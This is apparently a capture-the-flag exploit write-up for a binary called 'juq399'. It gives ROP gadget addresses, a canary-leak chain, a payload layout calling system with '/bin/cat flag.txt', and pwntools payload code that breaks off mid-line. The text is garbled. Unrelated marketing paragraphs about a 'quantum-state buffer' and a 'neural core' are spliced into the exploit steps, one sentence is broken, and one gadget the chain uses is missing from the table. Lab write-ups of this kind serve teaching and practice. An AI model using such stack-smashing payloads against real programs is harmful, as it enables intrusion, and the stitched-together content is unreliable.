Juq399
Because the binary is not PIE, all addresses are static. We can search for useful gadgets with ROPgadget or radare2:
$ ROPgadget --binary juq399 --only "pop|ret"
Typical useful gadgets (example addresses):
| Gadget | Address |
|--------------------------------------|---------|
| pop rdi ; ret | 0x4012b3 |
| pop rsi ; pop r15 ; ret | 0x4012b1 |
| pop rdx ; ret | 0x4012af |
| mov rdx, rsi ; ret | 0x4012ad |
| syscall ; ret | 0x4012ab |
Stage 1 – Leak the canary
write(1, &__stack_chk_guard, 8)
The chain in pseudo‑asm:
pop rdi ; ret ; rdi = 1 (stdout)
pop rsi ; pop r15 ; ret; rsi = &__stack_chk_guard
pop rdx ; ret ; rdx = 8
mov rax, 1 ; ret ; syscall number for write (or use a libc write)
syscall ; ret
Stage 2 – Use the leaked canary
Capture the 8‑byte canary value from the program’s output (it will be printed as raw bytes; pipe through xxd -p).
Stage 3 – Get a shell / read the flag
Now that we know the canary, we can craft a second payload that:
Simpler: Call system with /bin/cat flag.txt. juq399
Find the address of system in the PLT (e.g., 0x401030).
Find the address of the string "/bin/cat flag.txt" – we can place it in the overflow buffer itself (it’s after the saved return address, so it will be on the stack and its address is known after we calculate the offset).
Final payload layout (after the canary is known):
[0x80] : filler (e.g., 'A'*0x80)
[0x88] : canary (8 bytes, exactly as leaked)
[0x90] : fake RBP (any 8 bytes)
[0x98] : pop rdi ; ret
[0xA0] : address_of_"/bin/cat flag.txt"
[0xA8] : system@plt
[0xB0] : exit@plt (optional)
When this ROP chain executes, system runs the command and prints the flag.
One of JUQ399’s most talked‑about innovations is its quantum‑state buffer, a 2 GiB cryogenic memory that can store superposition states using resonator‑based quantum memory cells. Although still in prototype, early benchmarks suggest the ability to preserve quantum information for up to 200 µs, enough for most near‑term variational quantum eigensolver (VQE) cycles.
The JUQ399 doesn't just process; it learns. The onboard neural core observes your usage patterns. If you typically render video at 4 PM, the JUQ399 begins allocating resources at 3:55 PM, ensuring you have peak power exactly when you need it.
If you already know the canary (e.g., from a previous leak), the final payload can be generated with:
payload = b'A'*0x80
payload += p64(canary) # leaked value
payload += b'B'*8 # fake RBP
payload += p64(pop_rdi
